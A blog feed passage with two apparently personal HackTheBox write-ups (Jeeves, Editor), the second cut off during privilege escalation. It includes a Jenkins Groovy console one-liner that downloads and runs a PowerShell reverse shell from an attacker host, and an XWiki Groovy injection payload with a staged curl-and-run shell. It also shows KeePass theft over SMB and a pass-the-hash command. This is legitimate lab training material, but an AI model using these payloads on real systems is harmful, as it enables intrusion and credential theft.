]]></content:encoded></item><item><title><![CDATA[OSCP Prep #14
HTB Write-Up Jeeves]]></title><description><![CDATA[1. Target Overview
Machine Name: JeevesPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.11.223
Objective: Obtain initial access to the target system, escalate privileges to Administrator]]></description><link>https://www.hack2harden.com/oscp-prep-14-htb-write-up-jeeves</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-14-htb-write-up-jeeves</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sat, 21 Mar 2026 11:57:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8ebb37d2-0b0e-4592-ade9-49204c39e314.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Jeeves<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.11.223</p>
<p><strong>Objective:</strong> Obtain initial access to the target system, escalate privileges to Administrator.</p>
<p>Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.</p>
<h3>Tools Used</h3>
<ul>
<li><p>RustScan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec (<code>nxc</code>)</p>
</li>
<li><p>FFUF</p>
</li>
<li><p>Jenkins Script Console</p>
</li>
<li><p>Groovy</p>
</li>
<li><p>PowerShell</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>KeePassXC</p>
</li>
<li><p>keepass2john</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>Impacket (<code>psexec</code>)</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3><strong>Port Scanning</strong></h3>
<p>As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9edfab1e-3962-4707-b60a-b13e90194848.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d5116acf-f5f6-4e63-ab70-936a23219a16.png" alt="" style="display:block;margin:0 auto" />

<p>The scan showed four open ports:</p>
<ul>
<li><p><strong>80/tcp</strong> – HTTP (Microsoft IIS 10.0)</p>
</li>
<li><p><strong>135/tcp</strong> – MSRPC</p>
</li>
<li><p><strong>445/tcp</strong> – SMB</p>
</li>
<li><p><strong>50000/tcp</strong> – HTTP (Jetty 9.4.z-SNAPSHOT)</p>
</li>
</ul>
<p>Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.</p>
<hr />
<h3><strong>SMB Enumeration</strong></h3>
<p>The first service I chose to inspect was SMB.</p>
<p>Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.</p>
<p>In this case, anonymous access was denied:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bdc03ee-7f66-4833-b932-ac29292d0166.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>STATUS_ACCESS_DENIED</code></li>
</ul>
<p>Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.</p>
<hr />
<h3><strong>Web Enumeration</strong></h3>
<h3><strong>Port 80 (IIS)</strong></h3>
<p>After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.</p>
<p>The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53f94da1-1a9f-4fcc-926b-84172cff41fd.png" alt="" style="display:block;margin:0 auto" />

<p>Instead of actually processing the request, the application immediately redirected me to an error page:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e0f37bd8-57c1-484d-a1a9-aa314cf22473.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><code>error.html</code></li>
</ul>
<p>That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.</p>
<p>I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few <strong>LFI-style payloads</strong> to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.</p>
<p>Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.</p>
<p>At that point, I concluded that port 80 was effectively a dead end.</p>
<hr />
<h3><strong>Additional Web Enumeration</strong></h3>
<h3><strong>Port 50000 (Jetty)</strong></h3>
<p>With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port <strong>50000</strong>.</p>
<p>When I browsed to the port directly, I was met with a very plain <strong>404 Not Found</strong> page from Jetty.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a4f8cd66-171f-4975-bd4d-458ecc47a51c.png" alt="" style="display:block;margin:0 auto" />

<p>There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.</p>
<p>So I ran ffuf against port 50000 as well.</p>
<p>This time, the fuzzing paid off. I discovered:</p>
<ul>
<li><code>/askjeeves</code></li>
</ul>
<p>When I navigated to that endpoint, I found a <strong>Jenkins</strong> instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e68b52a7-0b74-41ea-88cf-391acbb82dcb.png" alt="" style="display:block;margin:0 auto" />

<p>I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.</p>
<hr />
<h3><strong>Potential Vulnerability Identification</strong></h3>
<p>I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to <strong>remote code execution through running Groovy code in the script console</strong>. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.</p>
<p>At that point, my thinking was simple:</p>
<ul>
<li><p>If the <strong>Script Console</strong> is accessible</p>
</li>
<li><p>And Groovy execution is allowed</p>
</li>
<li><p>Then I likely have direct code execution on the server</p>
</li>
</ul>
<p>That was strong enough to move from enumeration into exploitation.</p>
<hr />
<h1>3. Exploitation</h1>
<h3><strong>Initial Access</strong></h3>
<p>After identifying Jenkins, I navigated to the <strong>Script Console</strong> and tested whether I could run commands through Groovy.</p>
<p>To keep it simple, I started with a basic <code>whoami</code> command:</p>
<pre><code class="language-groovy">println "whoami".execute().text
</code></pre>
<p>The result confirmed that code execution worked and that commands were running as:</p>
<ul>
<li><strong>kohsuke</strong></li>
</ul>
<p>That was the confirmation I needed. At that point, I had real <strong>remote code execution</strong>, not just a theory.</p>
<p>This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.</p>
<hr />
<h3><strong>Shell Stabilization</strong></h3>
<p>After confirming command execution, the next step was to convert that into a real shell.</p>
<p>My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1498f4b1-6dd3-4df5-ae6a-19acd2841cc3.png" alt="" style="display:block;margin:0 auto" />

<p>I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.</p>
<p>Once I got the command formatted properly, I received a shell back as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/120afd09-d59e-4640-855e-1556d9e97aed.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><strong>kohsuke</strong></li>
</ul>
<p>That gave me the foothold I needed to start local enumeration.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3><strong>Current User Context</strong></h3>
<p>The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.</p>
<pre><code class="language-powershell">whoami
</code></pre>
<ul>
<li>kohsuke</li>
</ul>
<hr />
<h3><strong>User Enumeration</strong></h3>
<p>Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.</p>
<pre><code class="language-powershell">net user
</code></pre>
<p>There were only two users of note:</p>
<ul>
<li><p><strong>kohsuke</strong></p>
</li>
<li><p><strong>Administrator</strong></p>
</li>
</ul>
<p>That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.</p>
<hr />
<h3><strong>Autologon Credential Check</strong></h3>
<p>One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.</p>
<pre><code class="language-powershell">Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
</code></pre>
<p>There were no useful autologon credentials present.</p>
<hr />
<h3><strong>Home Directory Review</strong></h3>
<p>At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.</p>
<pre><code class="language-powershell">tree /F /A
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bb51c892-3bf6-4dd1-9628-c5938ff2b9b2.png" alt="" style="display:block;margin:0 auto" />

<p>What immediately stood out was:</p>
<ul>
<li><strong>CEH.kdbx</strong></li>
</ul>
<p>That was a huge find.</p>
<p>A <code>.kdbx</code> file is a <strong>KeePass database</strong>, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.</p>
<hr />
<h3><strong>File Transfer via SMB</strong></h3>
<p>Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.</p>
<pre><code class="language-powershell">copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
</code></pre>
<p>Even though SMB had been useless earlier for enumeration, it was perfect here as a <strong>file transfer mechanism</strong>.</p>
<hr />
<h3><strong>Credential Extraction</strong></h3>
<p>On my attacker machine:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1e23f4e-603d-4f56-a57f-f79489b8dbe6.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">keepass2john CEH.kdbx &gt; hash.txt
john hash.txt
</code></pre>
<p>Recovered password:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8d8a5ee-0911-429d-85b5-d55cb2aa6df1.png" alt="" style="display:block;margin:0 auto" />

<p>After opening the database, I found stored entries including an <strong>NTLM hash</strong>, which pointed directly to a clean escalation path.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5c4b87a2-4b02-4c57-bcfc-5858335d7e8a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3><strong>Privilege Escalation Path</strong></h3>
<p>Instead of cracking further, I used a <strong>Pass-the-Hash</strong> attack.</p>
<pre><code class="language-bash">impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
</code></pre>
<hr />
<p>The command returned a shell as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6367b3b-8330-44f3-a8db-e92fa402024a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-cmd">nt authority\system
</code></pre>
<p>Full compromise achieved.</p>
<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. Recognizing a Technology Stack Early Saves Time</strong></h3>
<p>Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.</p>
<h3><strong>2. Dead Ends Need to Be Identified Quickly</strong></h3>
<p>Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.</p>
<h3><strong>3. Jenkins Script Console is Extremely Dangerous</strong></h3>
<p>Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.</p>
<h3><strong>4. User Files Can Be the Entire PrivEsc Path</strong></h3>
<p>The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.</p>
<h3><strong>5. SMB is a Practical Tool, Not Just an Attack Vector</strong></h3>
<p>Even though SMB did not help initially, it became critical for file exfiltration later.</p>
<hr />
<h1>6. Defensive Insight</h1>
<h3><strong>1. Jenkins Should Never Be Exposed Publicly</strong></h3>
<p>The Script Console alone is enough to fully compromise a system if accessible.</p>
<h3><strong>2. Keep Systems Patched</strong></h3>
<p>Outdated Jenkins versions introduce unnecessary risk.</p>
<h3><strong>3. Protect Credential Stores</strong></h3>
<p>Sensitive files like KeePass databases should not be left in user directories.</p>
<h3><strong>4. Limit NTLM Usage</strong></h3>
<p>Pass-the-Hash attacks remain effective because NTLM is still widely enabled.</p>
<h3><strong>5. Monitor File Transfer Channels</strong></h3>
<p>Even non-exploitable services like SMB can be abused for data exfiltration.</p>
<hr />
<h1>7. Useful Commands</h1>
<h3><strong>Reconnaissance</strong></h3>
<pre><code class="language-bash">rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223
</code></pre>
<h3><strong>Enumeration</strong></h3>
<pre><code class="language-bash">nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<h3><strong>Groovy powershell Reverse Shell</strong></h3>
<pre><code class="language-groovy">println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text
</code></pre>
<h3><strong>Privilege Escalation</strong></h3>
<pre><code class="language-powershell">whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion
</code></pre>
<pre><code class="language-bash">keepass2john CEH.kdbx &gt; hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #13
HTB Write-Up Editor]]></title><description><![CDATA[1. Target Overview

Machine Name: Editor

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.231.23

Objective: Gain user and root access


Editor ended up being one of the more instruct]]></description><link>https://www.hack2harden.com/oscp-prep-13-htb-write-up-editor</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-13-htb-write-up-editor</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 20 Mar 2026 15:47:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/40ec3b4a-10a9-4fda-bf17-b196132a475f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>1. Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Editor</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.231.23</p>
</li>
<li><p><strong>Objective:</strong> Gain user and root access</p>
</li>
</ul>
<p>Editor ended up being one of the more instructive Linux machines I have done so far because it did not depend on one lucky guess or one overly specific trick. Instead, it rewarded steady enumeration and good decision-making.</p>
<p><strong>Tools Used</strong></p>
<ul>
<li><p><strong>Nmap</strong> - Initial service enumeration</p>
</li>
<li><p><strong>ffuf</strong> - Virtual host and directory discovery</p>
</li>
<li><p><strong>Burp Suite</strong> - Request inspection and payload manipulation</p>
</li>
<li><p><strong>Searchsploit</strong> - Local vulnerability research</p>
</li>
<li><p><strong>Metasploit</strong> - Initial exploit testing</p>
</li>
<li><p><strong>Browser Developer Tools / Manual Browsing</strong> - Application inspection</p>
</li>
<li><p><strong>SSH</strong> - User access and local port forwarding</p>
</li>
<li><p><strong>curl</strong> - Payload staging</p>
</li>
<li><p><strong>Netcat</strong> - Reverse shell handling</p>
</li>
<li><p><strong>GCC</strong> - Compiling the C payload for privilege escalation</p>
</li>
</ul>
<hr />
<h1><strong>2. Enumeration</strong></h1>
<p>As usual, I started with an Nmap scan to identify what was exposed and begin forming an idea of where the likely entry point would be.</p>
<pre><code class="language-bash">nmap -sC -sV -oN nmap.txt 10.129.231.23
</code></pre>
<p>The scan showed three open ports:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a84de9d2-32ba-4c0e-92d4-dac67afc9d63.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>22/tcp</strong> - SSH - OpenSSH 8.9p1</p>
</li>
<li><p><strong>80/tcp</strong> - HTTP - Nginx 1.18.0</p>
</li>
<li><p><strong>8080/tcp</strong> - HTTP - Jetty 10.0.20</p>
</li>
</ul>
<p>That is a pretty small attack surface. When I see only SSH and a couple of web services, my first assumption is usually that the initial foothold will come through the web application rather than SSH. SSH is still important, but unless I already have credentials, it is usually more of a post-exploitation service than the true entry point.</p>
<p>The fact that there were <strong>two</strong> web services also mattered. Port 80 and port 8080 were not just duplicates of each other. They were backed by different web servers, which immediately suggested they might be serving different content or different components of the same application stack. That gave me a clear direction: inspect both carefully and determine how they relate to each other.</p>
<hr />
<h3><strong>Initial Web Recon on Port 80</strong></h3>
<p>When I browsed to port 80, one of the first things I noticed was that the server redirected me to:</p>
<pre><code class="language-text">editor.htb
</code></pre>
<p>That told me right away that name-based routing was likely involved, so I added the hostname to my <code>/etc/hosts</code> file.</p>
<p>That redirect was important for two reasons. First, it confirmed that I should be working with the hostname rather than only the IP. Second, anytime I see one custom hostname on an HTB target, I start thinking about <strong>additional virtual hosts</strong>. If the application already depends on one named host, there is a decent chance there are others.</p>
<pre><code class="language-bash">ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4
</code></pre>
<p>That returned:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3d401776-8144-4e5c-a1ac-32836c8e6e51.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">wiki.editor.htb
</code></pre>
<p>I added that to my hosts file as well:</p>
<p>That was a meaningful result because it immediately expanded the target from “one simple site” to “a main site plus a wiki or documentation component.” A separate wiki subdomain often means a separate application stack, and separate application stacks often mean separate vulnerabilities.</p>
<hr />
<h3><strong>Inspecting the Main Site</strong></h3>
<p>Before fully pivoting, I still spent some time looking at the main application at <code>editor.htb</code> to see whether there was anything obvious.</p>
<p>The site looked like a marketing or landing page for a code editing product.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/151d8db2-6556-4465-89bb-8852e2c6fe3b.png" alt="" style="display:block;margin:0 auto" />

<p>It did not expose much in the way of user interaction. There were no login forms, no search boxes, no file upload features, and no obvious places where I could start testing user-controlled input. When I am assessing a web application, I am always trying to identify where data is being accepted and processed. Static pages are still worth checking, but if there is no meaningful functionality, the odds of wins are lower.</p>
<p>I still ran directory brute forcing to make sure I was not missing anything hidden behind the visible homepage.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1946e62b-0ff5-46d0-9533-0903e6037ac4.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/elite.txt
</code></pre>
<p>The results were not particularly interesting. At that point, I made the practical decision not to over-invest in the main site. The more promising attack surface was clearly the subdomain.</p>
<hr />
<h3><strong>Inspecting the Wiki Subdomain</strong></h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ecf4ca71-e56d-45ae-90cb-e15252a2c0f0.png" alt="" style="display:block;margin:0 auto" />

<p>When I navigated to <code>wiki.editor.htb</code>, I found what looked like documentation for the product. The site had the appearance of a CMS-backed wiki rather than a custom-built application, and that immediately changed how I thought about enumeration.</p>
<p>With a CMS, I immediately care about three things:</p>
<ol>
<li><p><strong>What CMS is this?</strong></p>
</li>
<li><p><strong>What version is it running?</strong></p>
</li>
<li><p><strong>Are there known vulnerabilities for that version?</strong></p>
</li>
</ol>
<p>In the footer, I found the answer:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/97554c75-1e4a-4bcf-b394-f909208fe8c5.png" alt="" style="display:block;margin:0 auto" />

<p>That was the first genuinely high-value piece of information on the box.</p>
<p>Whenever I see an application disclose an exact version number, that is a gift. It does not guarantee a vulnerability, but it gives you something concrete to investigate instead of just guessing. At that point, the wiki became a likely entry point.</p>
<hr />
<h1><strong>3. Exploitation</strong></h1>
<h3><strong>Researching XWiki 15.10.8</strong></h3>
<p>Once I knew the target was running XWiki 15.10.8, I shifted from generic web enumeration to version-based vulnerability research.</p>
<p>I started locally with Searchsploit:</p>
<pre><code class="language-bash">searchsploit xwiki
</code></pre>
<p>I saw references to XWiki issues, and I also experimented with Metasploit against a later-version-related exploit, but it did not pan out.</p>
<p>After that, I did a web search and found a CVE describing an <strong>unauthenticated remote code execution</strong> issue affecting this version range.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4fdbbf2a-0f8c-4b71-99e0-32bc7ad1efef.png" alt="" style="display:block;margin:0 auto" />

<p>The bug essentially came down to an endpoint accepting user-controlled input in a way that did not properly sanitize injected Groovy code. That meant the application could be tricked into evaluating attacker-supplied code on the server side. Once I understood that, the next step was to first prove code execution with something simple and controlled.</p>
<hr />
<h3><strong>Validating Code Execution</strong></h3>
<p>To confirm the vulnerability, I used a basic payload that attempted to execute the <code>id</code> command.</p>
<pre><code class="language-bash">}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
</code></pre>
<p>At first, it failed. This turned into one of the more useful lessons from the box, because the issue was not that the target was patched and not that the technique was wrong. The issue was my encoding.</p>
<p>I had been relying on Burp’s default shortcut for URL encoding, but I learned the hard way that it does not always encode every character in the way I need for these kinds of payloads. In an exploit path like this, even a small encoding mismatch can completely break execution. So I went back, manually ensured the payload was fully encoded, and resent it.</p>
<p>Once I did that properly, the payload worked.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/30cfe995-e81d-4cea-9126-405ee9d4d29f.png" alt="" style="display:block;margin:0 auto" />

<p>With the corrected encoding, I had confirmed command execution. At that point, I knew that I had a viable path to an initial foothold.</p>
<hr />
<h3><strong>Trying to Convert RCE into a Shell</strong></h3>
<p>The next natural step was to upgrade from simple command execution to an interactive shell. My first instinct was the same as it usually is: use a standard bash reverse shell one-liner.</p>
<p>That failed.</p>
<p>Instead of getting a shell, I started receiving server errors. This was another really useful learning moment, because it forced me to separate two ideas that are easy to conflate:</p>
<ul>
<li><p><strong>I have command execution</strong></p>
</li>
<li><p><strong>My chosen payload is valid in this execution context</strong></p>
</li>
</ul>
<p>Those are not the same thing.</p>
<p>The target was executing Groovy code, and while it was willing to evaluate certain simple commands, it clearly did not like the characters involved in my bash reverse shell one-liner. Things like redirection operators and other shell metacharacters were causing problems even when encoded. So the lesson here was “the interpreter and context are picky, so I need a cleaner way to deliver the payload.”</p>
<p>That is where simplifying the attack path paid off.</p>
<hr />
<h3><strong>Using a Staged Payload Instead of a Complex One-Liner</strong></h3>
<p>Rather than continuing to fight the interpreter with a more and more complicated one-liner, I decided to break the attack into smaller, cleaner steps.</p>
<p>First, I hosted a shell script from my attacker box. Then I used a simple download command on the target:</p>
<pre><code class="language-bash">curl http://&lt;attacker_ip&gt;/shell.sh -o /dev/shm/shell.sh
</code></pre>
<p>After that, I executed it with:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1bf66770-6aa4-4650-9f78-4ac93a08c8a0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">bash /dev/shm/shell.sh
</code></pre>
<p>This worked immediately.</p>
<p>The reason this worked so much better is that the command string itself was now very simple. I was no longer asking the vulnerable application to process a fragile reverse shell one-liner full of characters that might break parsing or execution. I was just telling it to download a file and then run it. That is much cleaner and much more reliable.</p>
<p>This was probably one of the most foundational lessons from the box for me. When I have RCE but the execution context is fragile, I do not need to cram the whole attack into one command. It is often smarter to stage the payload externally and use the vulnerability only to bootstrap execution.</p>
<p>That gave me a shell as:</p>
<pre><code class="language-text">xwiki
</code></pre>
<p>At that point, the initial foothold was complete, and I moved into local enumeration.</p>
<hr />
<h1><strong>4. Privilege Escalation</strong></h1>
<h3><strong>Initial Enumeration as xwiki</strong></h3>
<p>Once I landed a shell, I immediately switched into my usual Linux privilege escalation routine.</p>
<p>I started with the basics:</p>
<pre><code class="language-bash">whoami
id
sudo -l
</code></pre>
<p>As expected, I was the <code>xwiki</code> user. <code>sudo -l</code> did not reveal anything useful, so there was no obvious direct sudo-based escalation path.</p>
<p>Next, I wanted to understand which real user accounts on the system had shells.</p>
<pre><code class="language-bash">cat /etc/passwd | grep sh
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c6184189-30b6-4fff-9ab2-3590497a4bd5.png" alt="" style="display:block;margin:0 auto" />

<p>Aside from root, the main interesting local user was <code>oliver</code>. At that point, the question became whether I could find credentials or access material that would let me move from the application account to the real user account.</p>
<p>I checked Oliver’s home directory, but I did not have access. Web application accounts often have access to configuration files, and configuration files often contain credentials.</p>
<hr />
<h3><strong>Searching Application Files for Credentials</strong></h3>
<p>Because the foothold came through XWiki, I began checking application-related files and directories for secrets. I used a quick recursive search for password-like strings.</p>
<pre><code class="language-bash">grep -r pass *
</code></pre>
<p>That search led me to a configuration file:</p>
<pre><code class="language-text">hibernate.cfg.xml
</code></pre>
<p>Inside it, I found a credential that looked promising.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1b11e683-6992-4e50-94c9-4757085212b2.png" alt="" style="display:block;margin:0 auto" />

<p>Application configs often bridge the gap between the service account and a real user account.</p>
<hr />
<h3><strong>Trying the Credential Against Oliver</strong></h3>
<p>My first instinct was to test the password with <code>su</code>:</p>
<pre><code class="language-bash">su oliver
</code></pre>
<p>It failed.</p>
<p>This was another excellent lesson from the box because it would have been easy to conclude that the credential was wrong or unrelated. But instead of discarding it, I tested it over SSH:</p>
<pre><code class="language-bash">ssh oliver@10.129.231.23
</code></pre>
<p>That worked.</p>
<p>That surprised me at first, but it reinforced an important point: credentials do not always behave the same way across every authentication mechanism. The failure of <code>su</code> did <strong>not</strong> prove the password was useless.</p>
<hr />
<h3><strong>Enumerating Internal Services as Oliver</strong></h3>
<p>As <code>oliver</code>, I checked <code>sudo -l</code> again, but there was nothing useful there either. I also did not find anything immediately interesting in the home directory, so I moved to one of the most important Linux post-exploitation habits: checking which services are listening locally.</p>
<pre><code class="language-bash">ss -tuln
</code></pre>
<p>This showed several services bound to localhost, including:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/03fb40c7-2141-401c-9899-04bc2103001b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><strong>19999</strong></p>
</li>
<li><p><strong>8125</strong></p>
</li>
<li><p><strong>45665</strong></p>
</li>
</ul>
<p>These stood out because localhost-bound services are often administrative or internal-only components.</p>
<p>At this point, I wanted to inspect those services from my browser and tools on my attacker machine, so I used SSH port forwarding.</p>
<pre><code class="language-bash">ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23
</code></pre>
<p>That was another nice practical lesson. I had not really internalized before that I could forward multiple ports in one SSH command at once. Once I did that the next step was to investigate the services.</p>
<hr />
<h3><strong>Investigating Netdata on Port 19999</strong></h3>
<p>The first forwarded service I checked was port <code>19999</code>, and it turned out to be <strong>Netdata</strong>.</p>
<p>I was not very familiar with Netdata going into the box, but one good habit I try to stick to is this: when I discover an unfamiliar service, I identify the version if possible and search for known issues.</p>
<p>That led me to documentation describing a vulnerability involving <code>ndsudo</code>, a helper used by Netdata. The weakness came down to path hijacking. The privileged program was invoking certain commands without absolute paths, which meant the resolution of those commands depended on the contents of the <code>PATH</code> environment variable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9205cdff-62ad-4bb3-b943-5c5a75cc2948.png" alt="" style="display:block;margin:0 auto" />

<p>That is dangerous because if I can place a malicious executable with the expected name in a directory I control and ensure that directory is searched first, I can potentially trick the privileged program into running <strong>my</strong> executable instead of the intended system one.</p>
<hr />
<h3><strong>My First Attempt at Exploiting the Path Hijack</strong></h3>
<p>My initial idea was simple: create a malicious script, adjust <code>PATH</code>, and trigger the vulnerable functionality.</p>
<p>That did execute, but the result was disappointing: I was still <code>oliver</code>.</p>
<p>This was one of the best teaching points on the machine because from a distance it looked like the exploit almost worked. I had to stop and ask why a privileged helper would run my payload and still not actually elevate me.</p>
<p>The answer came down to the difference between a <strong>script</strong> and a true <strong>binary executable</strong> in this context.</p>
<hr />
<h3><strong>Why the Script-Based Attempt Failed</strong></h3>
